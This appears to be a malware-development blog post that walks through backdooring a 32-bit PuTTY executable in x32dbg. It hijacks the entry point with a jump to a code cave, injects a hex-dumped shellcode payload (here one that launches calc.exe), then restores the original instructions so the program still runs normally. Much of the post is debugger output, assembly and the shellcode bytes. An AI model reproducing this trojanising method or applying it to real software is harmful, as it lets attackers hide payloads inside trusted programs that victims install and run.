Home MalDev | Putty
Post
Cancel

MalDev | Putty

Enumeration

First, debug a 32bit putty.exe in x32dbg. There is a inital breakpoint in the binary:

1
2
3
4
5
6
Address=00454AD0
Module/Label/Exception=<putty.exe.EntryPoint>
State=One-time
Disassembly=push 60
Hits=0
Summary=entry breakpoint

We need to find a code cave in the binary. The .text section it is executable:

1
2
3
4
5
6
7
8
Address=00401000
Size=0005C000
Party=User
Page Information=".text"
Content of section=Executable code
Allocation Type=IMG
Current Protection=ER---
Allocation Protection=ERWC-

Also, it can be seen at the end of the file a bunch of empty memory. This can be a code cave:

Untitled

We will add a breakpoint there and copy the address (0045C961) for later. We will do a jump from the first instruction (00454AD0) to our code cave, and then come back to the main program. Copy the firsts instructions of the program:

1
2
3
4
5
00454AD0 | 6A 60               | push 60                          |
00454AD2 | 68 B07A4700         | push putty.477AB0                |
00454AD7 | E8 08210000         | call putty.456BE4                |
00454ADC | BF 94000000         | mov edi,94                       | edi:"LdrpInitializeProcess"
00454AE1 | 8BC7                | mov eax,edi                      | edi:"LdrpInitializeProcess"

Code Cave

The first instruction (00454A) can be overwrite as simply as selecting and pressing Space (or right click and Assemble). We will change the value to:

jmp 0x0045C961

Which is the direction of the code cave. Pressing Enter in 0045C961 will now jump to the code cave.

Untitled

Now we will overwrite the two first entries of the shellcode to write on the stack with the functions pushad and pushfd. Select a bunch of lines from the code cave, copy our shellcode, press Ctrl + E and paste it. As we can see, our previos empty code cave is now filled with our shellcode. In this case, a 32bit calc.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fc e8 82 00 00 00 60 89 e5 31 c0 64
8b 50 30 8b 52 0c 8b 52 14 8b 72 28
0f b7 4a 26 31 ff ac 3c 61 7c 02 2c
20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52
10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1
51 8b 59 20 01 d3 8b 49 18 e3 3a 49
8b 34 8b 01 d6 31 ff ac c1 cf 0d 01
c7 38 e0 75 f6 03 7d f8 3b 7d 24 75
e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b
58 1c 01 d3 8b 04 8b 01 d0 89 44 24
24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a
8b 12 eb 8d 5d 6a 01 8d 85 b2 00 00
00 50 68 31 8b 6f 87 ff d5 bb f0 b5
a2 56 68 a6 95 bd 9d ff d5 3c 06 7c
0a 80 fb e0 75 05 bb 47 13 72 6f 6a
00 53 ff d5 63 61 6c 63 2e 65 78 65
00

Untitled

We can save the state of the binary with Ctrl + P and save it as a another PE. If we run the binary now, the shellcode will be executed.

Now we need to find where the calc is being launched. Adding breakpoints to each call in the shellcode and executing it show that the FFD5 in the direction 0045CA06 launch the calc.exe. Also, we can found that the last call is the call to exit.


Retrieving the PE

Now that we know where our shellcode execute and which is the function that exists (the last call), we need to make a jump back to the program. We need to overwrite the push 0 of our shellcode to jump to another space in the code cave.

Now we need to restore the original flow of the program. The first two lines after the jump will be overwritten by:

1
2
popfd
popad

Take the instructions we overwritten before as hex value:

1
6A 60 68 B0 7A 47 00

And replaced the empty code caves after the popad. And lastly, jump back to the instruction 00454AD7. We can see the final output:

Untitled


Final

We can see the final work:

Untitled

This post is licensed under CC BY 4.0 by the author.